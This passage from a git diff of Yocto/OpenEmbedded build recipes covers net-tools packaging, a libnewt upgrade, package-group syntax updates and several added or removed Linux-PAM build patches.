+ if ${@bb.utils.contains('PACKAGECONFIG', 'arp', 'true', 'false', d)} ; then
+ echo "#define HAVE_ARP_TOOLS 1" >> ${S}/config.h
+ echo "HAVE_ARP_TOOLS=1" >> ${S}/config.make
+ fi
+ if ${@bb.utils.contains('PACKAGECONFIG', 'serial', 'true', 'false', d)} ; then
+ echo "#define HAVE_SERIAL_TOOLS 1" >> ${S}/config.h
+ echo "HAVE_SERIAL_TOOLS=1" >> ${S}/config.make
+ fi
+ if ${@bb.utils.contains('PACKAGECONFIG', 'plip', 'true', 'false', d)} ; then
+ echo "#define HAVE_PLIP_TOOLS 1" >> ${S}/config.h
+ echo "HAVE_PLIP_TOOLS=1" >> ${S}/config.make
+ fi
+}
+
+do_compile() {
+ # net-tools use COPTS/LOPTS to allow adding custom options
+ oe_runmake COPTS="$CFLAGS" LOPTS="$LDFLAGS"
+}
+
+do_install() {
+ # We don't need COPTS or LOPTS, but let's be consistent.
+ oe_runmake COPTS="$CFLAGS" LOPTS="$LDFLAGS" BASEDIR=${D} INSTALLNLSDIR=${D}${datadir}/locale mandir=${mandir} install
+
+ if [ "${base_bindir}" != "/bin" ]; then
+ mkdir -p ${D}/${base_bindir}
+ mv ${D}/bin/* ${D}/${base_bindir}/
+ rmdir ${D}/bin
+ fi
+ if [ "${base_sbindir}" != "/sbin" ]; then
+ mkdir ${D}/${base_sbindir}
+ mv ${D}/sbin/* ${D}/${base_sbindir}/
+ rmdir ${D}/sbin
+ fi
+}
+
+inherit update-alternatives
+
+base_sbindir_progs = "ipmaddr iptunnel mii-tool nameif \
+ ${@bb.utils.contains('PACKAGECONFIG', 'arp', 'arp rarp', '', d)} \
+ ${@bb.utils.contains('PACKAGECONFIG', 'plip', 'plipconfig', '', d)} \
+ ${@bb.utils.contains('PACKAGECONFIG', 'serial', 'slattach', '', d)} \
+"
+base_bindir_progs = "ifconfig netstat route \
+ ${@bb.utils.contains('PACKAGECONFIG', 'hostname', 'dnsdomainname domainname hostname nisdomainname ypdomainname', '', d)} \
+"
+
+ALTERNATIVE:${PN} = "${base_sbindir_progs} ${base_bindir_progs}"
+ALTERNATIVE:${PN}-doc += "${@bb.utils.contains('PACKAGECONFIG', 'hostname', 'hostname.1 dnsdomainname.1', '', d)}"
+ALTERNATIVE_LINK_NAME[hostname.1] = "${mandir}/man1/hostname.1"
+ALTERNATIVE_LINK_NAME[dnsdomainname.1] = "${mandir}/man1/dnsdomainname.1"
+ALTERNATIVE_PRIORITY[hostname.1] = "10"
+
+python __anonymous() {
+ for prog in d.getVar('base_sbindir_progs').split():
+ d.setVarFlag('ALTERNATIVE_LINK_NAME', prog, '%s/%s' % (d.getVar('base_sbindir'), prog))
+ for prog in d.getVar('base_bindir_progs').split():
+ d.setVarFlag('ALTERNATIVE_LINK_NAME', prog, '%s/%s' % (d.getVar('base_bindir'), prog))
+}
+ALTERNATIVE_PRIORITY = "100"
+
+NETTOOLS_PACKAGES = "${PN}-mii-tool"
+NETTOOLS_PACKAGES:class-native = ""
+
+PACKAGE_BEFORE_PN = "${NETTOOLS_PACKAGES}"
+RDEPENDS:${PN} += "${NETTOOLS_PACKAGES}"
+
+FILES:${PN}-mii-tool = "${base_sbindir}/mii-tool"
+
+ALTERNATIVE:${PN}:remove = "mii-tool"
+
+ALTERNATIVE:${PN}-mii-tool = "mii-tool"
+ALTERNATIVE_TARGET[mii-tool] = "${base_sbindir}/mii-tool"
+ALTERNATIVE_LINK_NAME[mii-tool] = "${base_sbindir}/mii-tool"
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-extended/newt/files/0001-detect-gold-as-GNU-linker-too.patch b/meta/recipes-extended/newt/files/0001-detect-gold-as-GNU-linker-too.patch
index a4b3afd959..090ed5c1c9 100644
--- a/meta/recipes-extended/newt/files/0001-detect-gold-as-GNU-linker-too.patch
+++ b/meta/recipes-extended/newt/files/0001-detect-gold-as-GNU-linker-too.patch
@@ -1,4 +1,4 @@
-From 58245b859ffbcb1780575bf1b0a018d55e74e434 Mon Sep 17 00:00:00 2001
+From 08ba909500412611953aea0fa2fe0d8fe76b6e24 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Andreas=20M=C3=BCller?= <schnitzeltony@googlemail.com>
Date: Wed, 21 Sep 2016 21:14:40 +0200
Subject: [PATCH] detect gold as GNU linker too
@@ -9,23 +9,21 @@ Content-Transfer-Encoding: 8bit
Upstream-Status: Pending
Signed-off-by: Andreas Müller <schnitzeltony@googlemail.com>
+
---
configure.ac | 2 +-
1 file changed, 1 insertion(+), 1 deletion(-)
diff --git a/configure.ac b/configure.ac
-index 03e8bda..c2fce51 100644
+index 468c718..cd93f30 100644
--- a/configure.ac
+++ b/configure.ac
@@ -28,7 +28,7 @@ AC_CHECK_SIZEOF([void *])
AC_MSG_CHECKING([for GNU ld])
- LD=`$CC -print-prog-name=ld 2>&5`
+ LD=$($CC -print-prog-name=ld 2>&5)
--if test `$LD -v 2>&1 | $ac_cv_path_GREP -c "GNU ld"` = 0; then
-+if test `$LD -v 2>&1 | $ac_cv_path_GREP -c "GNU "` = 0; then
+-if test $($LD -v 2>&1 | $ac_cv_path_GREP -c "GNU ld") = 0; then
++if test $($LD -v 2>&1 | $ac_cv_path_GREP -c "GNU ") = 0; then
# Not
GNU_LD=""
AC_MSG_RESULT([no])
---
-2.5.5
-
diff --git a/meta/recipes-extended/newt/files/0002-don-t-ignore-CFLAGS-when-building-snack.patch b/meta/recipes-extended/newt/files/0002-don-t-ignore-CFLAGS-when-building-snack.patch
deleted file mode 100644
index ca235d5108..0000000000
--- a/meta/recipes-extended/newt/files/0002-don-t-ignore-CFLAGS-when-building-snack.patch
+++ /dev/null
@@ -1,29 +0,0 @@
-From f60dc1063607ca1f201ba4cbda467d8af3f78f64 Mon Sep 17 00:00:00 2001
-From: Miroslav Lichvar <mlichvar@redhat.com>
-Date: Tue, 1 Oct 2019 16:37:55 +0200
-Subject: [PATCH] don't ignore CFLAGS when building snack
-
-In addition to the flags returned by python-config --cflags, use the
-user-specified CFLAGS when building the snack object.
-
-Upstream-Status: Backport from master
-Signed-off-by: Joshua Watt <JPEWhacker@gmail.com>
----
- Makefile.in | 4 ++--
- 1 file changed, 2 insertions(+), 2 deletions(-)
-
-diff --git a/Makefile.in b/Makefile.in
-index be5f87b..6facd5e 100644
---- a/Makefile.in
-+++ b/Makefile.in
-@@ -96,8 +96,8 @@ _snack.$(SOEXT): snack.c $(LIBNEWTSH)
- PIFLAGS=`$$pyconfig --includes`; \
- PLDFLAGS=`$$pyconfig --ldflags`; \
- PLFLAGS=`$$pyconfig --libs`; \
-- echo $(CC) $(SHCFLAGS) $(CPPFLAGS) $$PIFLAGS $$PCFLAGS -c -o $$ver/snack.o snack.c; \
-- $(CC) $(SHCFLAGS) $(CPPFLAGS) $$PIFLAGS $$PCFLAGS -c -o $$ver/snack.o snack.c; \
-+ echo $(CC) $(SHCFLAGS) $(CFLAGS) $(CPPFLAGS) $$PIFLAGS $$PCFLAGS -c -o $$ver/snack.o snack.c; \
-+ $(CC) $(SHCFLAGS) $(CFLAGS) $(CPPFLAGS) $$PIFLAGS $$PCFLAGS -c -o $$ver/snack.o snack.c; \
- echo $(CC) --shared $$PLDFLAGS $$PLFLAGS $(LDFLAGS) -o $$ver/_snack.$(SOEXT) $$ver/snack.o -L. -lnewt $(LIBS); \
- $(CC) --shared $$PLDFLAGS $$PLFLAGS $(LDFLAGS) -o $$ver/_snack.$(SOEXT) $$ver/snack.o -L. -lnewt $(LIBS); \
- done || :
diff --git a/meta/recipes-extended/newt/libnewt_0.52.21.bb b/meta/recipes-extended/newt/libnewt_0.52.21.bb
deleted file mode 100644
index 88b4cf4a03..0000000000
--- a/meta/recipes-extended/newt/libnewt_0.52.21.bb
+++ /dev/null
@@ -1,58 +0,0 @@
-SUMMARY = "A library for text mode user interfaces"
-
-DESCRIPTION = "Newt is a programming library for color text mode, widget based user \
-interfaces. Newt can be used to add stacked windows, entry widgets, \
-checkboxes, radio buttons, labels, plain text fields, scrollbars, \
-etc., to text mode user interfaces. This package also contains the \
-shared library needed by programs built with newt, as well as a \
-/usr/bin/dialog replacement called whiptail. Newt is based on the \
-slang library."
-
-HOMEPAGE = "https://releases.pagure.org/newt/"
-SECTION = "libs"
-
-LICENSE = "LGPLv2"
-LIC_FILES_CHKSUM = "file://COPYING;md5=5f30f0716dfdd0d91eb439ebec522ec2"
-
-# slang needs to be >= 2.2
-DEPENDS = "slang popt python3"
-
-SRC_URI = "https://releases.pagure.org/newt/newt-${PV}.tar.gz \
- file://cross_ar.patch \
- file://Makefile.in-Add-tinfo-library-to-the-linking-librari.patch \
- file://0001-detect-gold-as-GNU-linker-too.patch \
- file://0002-don-t-ignore-CFLAGS-when-building-snack.patch \
- "
-
-SRC_URI[md5sum] = "a0a5fd6b53bb167a65e15996b249ebb5"
-SRC_URI[sha256sum] = "265eb46b55d7eaeb887fca7a1d51fe115658882dfe148164b6c49fccac5abb31"
-
-S = "${WORKDIR}/newt-${PV}"
-
-inherit autotools-brokensep python3native python3-dir
-
-EXTRA_OECONF = "--without-tcl --with-python"
-
-EXTRA_OEMAKE += "PYTHONVERS=${PYTHON_DIR}"
-
-CLEANBROKEN = "1"
-
-export CPPFLAGS
-
-PACKAGES_prepend = "whiptail ${PN}-python "
-
-RDEPENDS_${PN}-python += "python3-core"
-FILES_${PN}-python = "${PYTHON_SITEPACKAGES_DIR}/*"
-
-do_configure_prepend() {
- sh autogen.sh
-}
-
-do_compile_prepend() {
- # Make sure the recompile is OK
- rm -f ${B}/.depend
-}
-
-FILES_whiptail = "${bindir}/whiptail"
-
-BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-extended/newt/libnewt_0.52.24.bb b/meta/recipes-extended/newt/libnewt_0.52.24.bb
new file mode 100644
index 0000000000..1e39a1c5ca
--- /dev/null
+++ b/meta/recipes-extended/newt/libnewt_0.52.24.bb
@@ -0,0 +1,56 @@
+SUMMARY = "A library for text mode user interfaces"
+
+DESCRIPTION = "Newt is a programming library for color text mode, widget based user \
+interfaces. Newt can be used to add stacked windows, entry widgets, \
+checkboxes, radio buttons, labels, plain text fields, scrollbars, \
+etc., to text mode user interfaces. This package also contains the \
+shared library needed by programs built with newt, as well as a \
+/usr/bin/dialog replacement called whiptail. Newt is based on the \
+slang library."
+
+HOMEPAGE = "https://releases.pagure.org/newt/"
+SECTION = "libs"
+
+LICENSE = "LGPL-2.0-only"
+LIC_FILES_CHKSUM = "file://COPYING;md5=5f30f0716dfdd0d91eb439ebec522ec2"
+
+# slang needs to be >= 2.2
+DEPENDS = "slang popt python3"
+
+SRC_URI = "https://releases.pagure.org/newt/newt-${PV}.tar.gz \
+ file://cross_ar.patch \
+ file://Makefile.in-Add-tinfo-library-to-the-linking-librari.patch \
+ file://0001-detect-gold-as-GNU-linker-too.patch \
+ "
+
+SRC_URI[sha256sum] = "5ded7e221f85f642521c49b1826c8de19845aa372baf5d630a51774b544fbdbb"
+
+S = "${WORKDIR}/newt-${PV}"
+
+inherit autotools-brokensep python3native python3-dir python3targetconfig
+
+EXTRA_OECONF = "--without-tcl --with-python"
+
+EXTRA_OEMAKE += "PYTHONVERS=${PYTHON_DIR}"
+
+CLEANBROKEN = "1"
+
+export CPPFLAGS
+
+PACKAGES:prepend = "whiptail ${PN}-python "
+
+RDEPENDS:${PN}-python += "python3-core"
+FILES:${PN}-python = "${PYTHON_SITEPACKAGES_DIR}/*"
+
+do_configure:prepend() {
+ sh autogen.sh
+}
+
+do_compile:prepend() {
+ # Make sure the recompile is OK
+ rm -f ${B}/.depend
+}
+
+FILES:whiptail = "${bindir}/whiptail"
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-extended/packagegroups/packagegroup-core-base-utils.bb b/meta/recipes-extended/packagegroups/packagegroup-core-base-utils.bb
index 7501837937..b17cba4a78 100644
--- a/meta/recipes-extended/packagegroups/packagegroup-core-base-utils.bb
+++ b/meta/recipes-extended/packagegroups/packagegroup-core-base-utils.bb
@@ -13,7 +13,7 @@ VIRTUAL-RUNTIME_vim ?= "vim-tiny"
PACKAGE_ARCH = "${MACHINE_ARCH}"
-RDEPENDS_${PN} = "\
+RDEPENDS:${PN} = "\
base-passwd \
bash \
bind-utils \
@@ -21,8 +21,8 @@ RDEPENDS_${PN} = "\
coreutils \
cpio \
${@bb.utils.contains("DISTRO_FEATURES", "systemd", "", "debianutils-run-parts", d)} \
- dhcp-client \
- ${@bb.utils.contains("DISTRO_FEATURES", "systemd", "", "dhcp-server", d)} \
+ dhcpcd \
+ ${@bb.utils.contains("DISTRO_FEATURES", "systemd", "", "kea", d)} \
diffutils \
${@bb.utils.contains("DISTRO_FEATURES", "systemd", "", "dpkg-start-stop", d)} \
e2fsprogs \
diff --git a/meta/recipes-extended/packagegroups/packagegroup-core-full-cmdline.bb b/meta/recipes-extended/packagegroups/packagegroup-core-full-cmdline.bb
index 16c2f9f2aa..8dc62954a2 100644
--- a/meta/recipes-extended/packagegroups/packagegroup-core-full-cmdline.bb
+++ b/meta/recipes-extended/packagegroups/packagegroup-core-full-cmdline.bb
@@ -4,13 +4,11 @@
SUMMARY = "Standard full-featured Linux system"
DESCRIPTION = "Package group bringing in packages needed for a more traditional full-featured Linux system"
-PR = "r6"
inherit packagegroup
PACKAGES = "\
packagegroup-core-full-cmdline \
- packagegroup-core-full-cmdline-libs \
packagegroup-core-full-cmdline-utils \
packagegroup-core-full-cmdline-extended \
packagegroup-core-full-cmdline-dev-utils \
@@ -19,44 +17,7 @@ PACKAGES = "\
packagegroup-core-full-cmdline-sys-services \
"
-python __anonymous () {
- # For backwards compatibility after rename
- namemap = {}
- namemap["packagegroup-core-full-cmdline"] = "packagegroup-core-basic"
- namemap["packagegroup-core-full-cmdline-libs"] = "packagegroup-core-basic-libs"
- namemap["packagegroup-core-full-cmdline-utils"] = "packagegroup-core-basic-utils"
- namemap["packagegroup-core-full-cmdline-extended"] = "packagegroup-core-basic-extended"
- namemap["packagegroup-core-full-cmdline-dev-utils"] = "packagegroup-core-dev-utils"
- namemap["packagegroup-core-full-cmdline-multiuser"] = "packagegroup-core-multiuser"
- namemap["packagegroup-core-full-cmdline-initscripts"] = "packagegroup-core-initscripts"
- namemap["packagegroup-core-full-cmdline-sys-services"] = "packagegroup-core-sys-services"
-
- packages = d.getVar("PACKAGES").split()
- mlprefix = d.getVar("MLPREFIX")
- for pkg in packages:
- pkg2 = pkg[len(mlprefix):]
- if pkg.endswith('-dev'):
- mapped = namemap.get(pkg2[:-4], None)
- if mapped:
- mapped += '-dev'
- elif pkg.endswith('-dbg'):
- mapped = namemap.get(pkg2[:-4], None)
- if mapped:
- mapped += '-dbg'
- else:
- mapped = namemap.get(pkg2, None)
-
- if mapped:
- oldtaskname = mapped.replace("packagegroup-core", "task-core")
- mapstr = " %s%s %s%s" % (mlprefix, mapped, mlprefix, oldtaskname)
- d.appendVar("RPROVIDES_%s" % pkg, mapstr)
- d.appendVar("RREPLACES_%s" % pkg, mapstr)
- d.appendVar("RCONFLICTS_%s" % pkg, mapstr)
-}
-
-
-RDEPENDS_packagegroup-core-full-cmdline = "\
- packagegroup-core-full-cmdline-libs \
+RDEPENDS:packagegroup-core-full-cmdline = "\
packagegroup-core-full-cmdline-utils \
packagegroup-core-full-cmdline-extended \
packagegroup-core-full-cmdline-dev-utils \
@@ -65,11 +26,7 @@ RDEPENDS_packagegroup-core-full-cmdline = "\
packagegroup-core-full-cmdline-sys-services \
"
-RDEPENDS_packagegroup-core-full-cmdline-libs = "\
- glib-2.0 \
- "
-
-RDEPENDS_packagegroup-core-full-cmdline-utils = "\
+RDEPENDS:packagegroup-core-full-cmdline-utils = "\
bash \
acl \
attr \
@@ -81,12 +38,11 @@ RDEPENDS_packagegroup-core-full-cmdline-utils = "\
file \
findutils \
gawk \
- gmp \
grep \
less \
makedevs \
mc \
- mc-fish \
+ mc-shell \
mc-helpers \
mc-helpers-perl \
ncurses \
@@ -99,7 +55,7 @@ RDEPENDS_packagegroup-core-full-cmdline-utils = "\
util-linux \
"
-RDEPENDS_packagegroup-core-full-cmdline-extended = "\
+RDEPENDS:packagegroup-core-full-cmdline-extended = "\
iproute2 \
iputils \
iptables \
@@ -107,7 +63,7 @@ RDEPENDS_packagegroup-core-full-cmdline-extended = "\
openssl \
"
-RDEPENDS_packagegroup-core-full-cmdline-dev-utils = "\
+RDEPENDS:packagegroup-core-full-cmdline-dev-utils = "\
diffutils \
m4 \
make \
@@ -115,7 +71,7 @@ RDEPENDS_packagegroup-core-full-cmdline-dev-utils = "\
"
VIRTUAL-RUNTIME_syslog ?= "sysklogd"
-RDEPENDS_packagegroup-core-full-cmdline-initscripts = "\
+RDEPENDS:packagegroup-core-full-cmdline-initscripts = "\
${VIRTUAL-RUNTIME_initscripts} \
${VIRTUAL-RUNTIME_init_manager} \
ethtool \
@@ -123,7 +79,7 @@ RDEPENDS_packagegroup-core-full-cmdline-initscripts = "\
${VIRTUAL-RUNTIME_syslog} \
"
-RDEPENDS_packagegroup-core-full-cmdline-multiuser = "\
+RDEPENDS:packagegroup-core-full-cmdline-multiuser = "\
bzip2 \
cracklib \
gzip \
@@ -131,7 +87,7 @@ RDEPENDS_packagegroup-core-full-cmdline-multiuser = "\
sudo \
"
-RDEPENDS_packagegroup-core-full-cmdline-sys-services = "\
+RDEPENDS:packagegroup-core-full-cmdline-sys-services = "\
at \
cronie \
logrotate \
diff --git a/meta/recipes-extended/pam/libpam/0001-Add-support-for-defining-missing-funcitonality.patch b/meta/recipes-extended/pam/libpam/0001-Add-support-for-defining-missing-funcitonality.patch
deleted file mode 100644
index c55b648139..0000000000
--- a/meta/recipes-extended/pam/libpam/0001-Add-support-for-defining-missing-funcitonality.patch
+++ /dev/null
@@ -1,68 +0,0 @@
-From 45d1ed58927593968faead7dbb295f3922f41a2f Mon Sep 17 00:00:00 2001
-From: Khem Raj <raj.khem@gmail.com>
-Date: Sat, 8 Aug 2015 14:16:43 -0700
-Subject: [PATCH] Add support for defining missing funcitonality
-
-In order to support alternative libc on linux ( musl, bioninc ) etc we
-need to check for glibc-only features and provide alternatives, in this
-list strndupa is first one, when configure detects that its not included
-in system C library then the altrnative implementation from missing.h is
-used
-
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
----
-Upstream-Status: Pending
-
- configure.ac | 3 +++
- libpam/include/missing.h | 12 ++++++++++++
- modules/pam_exec/pam_exec.c | 1 +
- 3 files changed, 16 insertions(+)
- create mode 100644 libpam/include/missing.h
-
-diff --git a/configure.ac b/configure.ac
-index 9e1257f..cbed979 100644
---- a/configure.ac
-+++ b/configure.ac
-@@ -599,6 +599,9 @@ dnl
- AC_CHECK_DECL(__NR_keyctl, [have_key_syscalls=1],[have_key_syscalls=0],[#include <sys/syscall.h>])
- AC_CHECK_DECL(ENOKEY, [have_key_errors=1],[have_key_errors=0],[#include <errno.h>])
-
-+# musl and bionic don't have strndupa
-+AC_CHECK_DECLS_ONCE([strndupa])
-+
- HAVE_KEY_MANAGEMENT=0
- if test $have_key_syscalls$have_key_errors = 11
- then
-diff --git a/libpam/include/missing.h b/libpam/include/missing.h
-new file mode 100644
-index 0000000..3cf011c
---- /dev/null
-+++ b/libpam/include/missing.h
-@@ -0,0 +1,12 @@
-+#pragma once
-+
-+#if !HAVE_DECL_STRNDUPA
-+#define strndupa(s, n) \
-+ ({ \
-+ const char *__old = (s); \
-+ size_t __len = strnlen(__old, (n)); \
-+ char *__new = alloca(__len + 1); \
-+ __new[__len] = '\0'; \
-+ memcpy(__new, __old, __len); \
-+ })
-+#endif
-diff --git a/modules/pam_exec/pam_exec.c b/modules/pam_exec/pam_exec.c
-index 17ba6ca..3aa2694 100644
---- a/modules/pam_exec/pam_exec.c
-+++ b/modules/pam_exec/pam_exec.c
-@@ -59,6 +59,7 @@
- #include <security/pam_modutil.h>
- #include <security/pam_ext.h>
- #include <security/_pam_macros.h>
-+#include <missing.h>
-
- #define ENV_ITEM(n) { (n), #n }
- static struct {
---
-2.1.4
-
diff --git a/meta/recipes-extended/pam/libpam/0001-pam_namespace-include-stdint-h.patch b/meta/recipes-extended/pam/libpam/0001-pam_namespace-include-stdint-h.patch
new file mode 100644
index 0000000000..124e5f1c3c
--- /dev/null
+++ b/meta/recipes-extended/pam/libpam/0001-pam_namespace-include-stdint-h.patch
@@ -0,0 +1,42 @@
+From cc9d40b7cdbd3e15ccaa324a0dda1680ef9dea13 Mon Sep 17 00:00:00 2001
+From: Jacob Heider <jacob@pkgx.dev>
+Date: Wed, 17 Jan 2024 11:49:26 -0500
+Subject: [PATCH] pam_namespace: include stdint.h
+
+pam_namespace.c makes use of SIZE_MAX but doesn't include stdint.h,
+resulting in the following build failures on 1.6.0:
+
+ pam_namespace.c: In function 'process_line':
+ pam_namespace.c:649:41: error: 'SIZE_MAX' undeclared (first use in this function)
+ 649 | if (count > UINT_MAX || count > SIZE_MAX / sizeof(uid_t)) {
+ | ^~~~~~~~
+ pam_namespace.c:41:1: note: 'SIZE_MAX' is defined in header '<stdint.h>'; did you forget to '#include <stdint.h>'?
+ 40 | #include "argv_parse.h"
+ +++ |+#include <stdint.h>
+ 41 |
+ pam_namespace.c:649:41: note: each undeclared identifier is reported only once for each function it appears in
+ 649 | if (count > UINT_MAX || count > SIZE_MAX / sizeof(uid_t)) {
+ | ^~~~~~~~
+
+Fixes: v1.6.0~100 ("pam_namespace: validate amount of uids in config")
+Resolves: https://github.com/linux-pam/linux-pam/issues/733
+
+Upstream-Status: Backport [https://github.com/linux-pam/linux-pam/commit/cc9d40b7cdbd3e15ccaa324a0dda1680ef9dea13]
+Signed-off-by: Khem Raj <raj.khem@gmail.com>
+---
+ modules/pam_namespace/pam_namespace.c | 2 ++
+ 1 file changed, 2 insertions(+)
+
+diff --git a/modules/pam_namespace/pam_namespace.c b/modules/pam_namespace/pam_namespace.c
+index f72d67189..b16731c22 100644
+--- a/modules/pam_namespace/pam_namespace.c
++++ b/modules/pam_namespace/pam_namespace.c
+@@ -34,6 +34,8 @@
+
+ #define _ATFILE_SOURCE
+
++#include "config.h"
++#include <stdint.h>
+ #include "pam_cc_compat.h"
+ #include "pam_inline.h"
+ #include "pam_namespace.h"
diff --git a/meta/recipes-extended/pam/libpam/99_pam b/meta/recipes-extended/pam/libpam/99_pam
index 97e990d10b..a88247be13 100644
--- a/meta/recipes-extended/pam/libpam/99_pam
+++ b/meta/recipes-extended/pam/libpam/99_pam
@@ -1 +1 @@
-d root root 0755 /var/run/sepermit none
+d root root 0755 /run/sepermit none
diff --git a/meta/recipes-extended/pam/libpam/crypt_configure.patch b/meta/recipes-extended/pam/libpam/crypt_configure.patch
deleted file mode 100644
index 917a8af64d..0000000000
--- a/meta/recipes-extended/pam/libpam/crypt_configure.patch
+++ /dev/null
@@ -1,40 +0,0 @@
-From b86575ab4a0df07da160283459da270e1c0372a0 Mon Sep 17 00:00:00 2001
-From: "Maxin B. John" <maxin.john@intel.com>
-Date: Tue, 24 May 2016 14:11:09 +0300
-Subject: [PATCH] crypt_configure
-
-This patch fixes a case where it find crypt defined in libc (musl) but
-not in specified libraries then it ends up assigning
-LIBCRYPT="-l" which then goes into makefile cause all sort of problems
-e.g.
-
-ld: cannot find -l-m32
-| collect2: error: ld returned 1 exit status
-The reason is that -l appears on commandline with
-out any library and compiler treats the next argument as library name
-whatever it is.
-
-Upstream-Status: Pending
-
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
-Signed-off-by: Maxin B. John <maxin.john@intel.com>
----
- configure.ac | 2 +-
- 1 file changed, 1 insertion(+), 1 deletion(-)
-
-diff --git a/configure.ac b/configure.ac
-index df39d07..e68d856 100644
---- a/configure.ac
-+++ b/configure.ac
-@@ -401,7 +401,7 @@ AS_IF([test "x$ac_cv_header_xcrypt_h" = "xyes"],
- [crypt_libs="crypt"])
-
- BACKUP_LIBS=$LIBS
--AC_SEARCH_LIBS([crypt],[$crypt_libs], LIBCRYPT="${ac_lib:+-l$ac_lib}", LIBCRYPT="")
-+AC_SEARCH_LIBS([crypt],[$crypt_libs], [test "$ac_cv_search_crypt" = "none required" || LIBCRYPT="$ac_cv_search_crypt"])
- AC_CHECK_FUNCS(crypt_r crypt_gensalt_r)
- LIBS=$BACKUP_LIBS
- AC_SUBST(LIBCRYPT)
---
-2.4.0
-
diff --git a/meta/recipes-extended/pam/libpam/include_paths_header.patch b/meta/recipes-extended/pam/libpam/include_paths_header.patch
deleted file mode 100644
index e4eb95669b..0000000000
--- a/meta/recipes-extended/pam/libpam/include_paths_header.patch
+++ /dev/null
@@ -1,59 +0,0 @@
-This patch adds missing include for paths.h which should provide
-_PATH_LASTLOG definition
-
-Upstream-Status: Pending
-
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
-Index: Linux-PAM-1.1.6/modules/pam_lastlog/pam_lastlog.c
-===================================================================
---- Linux-PAM-1.1.6.orig/modules/pam_lastlog/pam_lastlog.c
-+++ Linux-PAM-1.1.6/modules/pam_lastlog/pam_lastlog.c
-@@ -23,9 +23,11 @@
- #include <stdarg.h>
- #include <stdio.h>
- #include <string.h>
-+#include <sys/file.h>
- #include <sys/types.h>
- #include <syslog.h>
- #include <unistd.h>
-+#include <paths.h>
-
- #if defined(hpux) || defined(sunos) || defined(solaris)
- # ifndef _PATH_LASTLOG
-@@ -332,6 +334,23 @@ last_login_read(pam_handle_t *pamh, int
- return retval;
- }
-
-+#ifndef __GLIBC__
-+static void logwtmp(const char * line, const char * name, const char * host)
-+{
-+ struct utmp u;
-+ memset(&u, 0, sizeof(u));
-+
-+ u.ut_pid = getpid();
-+ u.ut_type = name[0] ? USER_PROCESS : DEAD_PROCESS;
-+ strncpy(u.ut_line, line, sizeof(u.ut_line));
-+ strncpy(u.ut_name, name, sizeof(u.ut_name));
-+ strncpy(u.ut_host, host, sizeof(u.ut_host));
-+ gettimeofday(&(u.ut_tv), NULL);
-+
-+ updwtmp(_PATH_WTMP, &u);
-+}
-+#endif /* __GLIBC__ */
-+
- static int
- last_login_write(pam_handle_t *pamh, int announce, int last_fd,
- uid_t uid, const char *user)
-Index: Linux-PAM-1.1.6/modules/Makefile.am
-===================================================================
---- Linux-PAM-1.1.6.orig/modules/Makefile.am
-+++ Linux-PAM-1.1.6/modules/Makefile.am
-@@ -7,7 +7,7 @@ SUBDIRS = pam_access pam_cracklib pam_de
- pam_group pam_issue pam_keyinit pam_lastlog pam_limits \
- pam_listfile pam_localuser pam_loginuid pam_mail \
- pam_mkhomedir pam_motd pam_namespace pam_nologin \
-- pam_permit pam_pwhistory pam_rhosts pam_rootok pam_securetty \
-+ pam_permit pam_pwhistory pam_rootok pam_securetty \
- pam_selinux pam_sepermit pam_shells pam_stress \
- pam_succeed_if pam_tally pam_tally2 pam_time pam_timestamp \
- pam_tty_audit pam_umask \
diff --git a/meta/recipes-extended/pam/libpam/libpam-xtests.patch b/meta/recipes-extended/pam/libpam/libpam-xtests.patch
index ea145899b4..f2dafa72a5 100644
--- a/meta/recipes-extended/pam/libpam/libpam-xtests.patch
+++ b/meta/recipes-extended/pam/libpam/libpam-xtests.patch
@@ -1,13 +1,21 @@
-This patch is used to create a new sub package libpam-xtests to do more checks.
+From 060726f7e60c8ecb5bf50fd776910b290d9a0a69 Mon Sep 17 00:00:00 2001
+From: Kang Kai <kai.kang@windriver.com>
+Date: Tue, 19 Jul 2011 17:08:31 +0800
+Subject: [PATCH] This patch is used to create a new sub package libpam-xtests
+ to do more checks.
Upstream-Status: Pending
Signed-off-by: Kang Kai <kai.kang@windriver.com>
-Index: Linux-PAM-1.3.0/xtests/Makefile.am
-===================================================================
---- Linux-PAM-1.3.0.orig/xtests/Makefile.am
-+++ Linux-PAM-1.3.0/xtests/Makefile.am
-@@ -7,7 +7,7 @@ AM_CFLAGS = -DLIBPAM_COMPILE -I$(top_src
+---
+ xtests/Makefile.am | 17 ++++++++++++++++-
+ 1 file changed, 16 insertions(+), 1 deletion(-)
+
+diff --git a/xtests/Makefile.am b/xtests/Makefile.am
+index acf9746..9826c9f 100644
+--- a/xtests/Makefile.am
++++ b/xtests/Makefile.am
+@@ -8,7 +8,7 @@ AM_CFLAGS = -DLIBPAM_COMPILE -I$(top_srcdir)/libpam/include \
LDADD = $(top_builddir)/libpam/libpam.la \
$(top_builddir)/libpam_misc/libpam_misc.la
@@ -16,7 +24,7 @@ Index: Linux-PAM-1.3.0/xtests/Makefile.am
EXTRA_DIST = run-xtests.sh tst-pam_dispatch1.pamd tst-pam_dispatch2.pamd \
tst-pam_dispatch3.pamd tst-pam_dispatch4.pamd \
-@@ -51,3 +51,18 @@ EXTRA_PROGRAMS = $(XTESTS)
+@@ -55,3 +55,18 @@ EXTRA_PROGRAMS = $(XTESTS)
xtests: $(XTESTS) run-xtests.sh
"$(srcdir)"/run-xtests.sh "$(srcdir)" ${XTESTS} ${NOSRCTESTS}
diff --git a/meta/recipes-extended/pam/libpam/pam-security-abstract-securetty-handling.patch b/meta/recipes-extended/pam/libpam/pam-security-abstract-securetty-handling.patch
deleted file mode 100644
index 9b8d4c2975..0000000000
--- a/meta/recipes-extended/pam/libpam/pam-security-abstract-securetty-handling.patch
+++ /dev/null
@@ -1,203 +0,0 @@
-Description: extract the securetty logic for use with the "nullok_secure" option
- introduced in the "055_pam_unix_nullok_secure" patch.
-
-Upstream-Status: Pending
-
-Signed-off-by: Ming Liu <ming.liu@windriver.com>
-===================================================================
-Index: Linux-PAM-1.3.0/modules/pam_securetty/Makefile.am
-===================================================================
---- Linux-PAM-1.3.0.orig/modules/pam_securetty/Makefile.am
-+++ Linux-PAM-1.3.0/modules/pam_securetty/Makefile.am
-@@ -24,6 +24,10 @@ endif
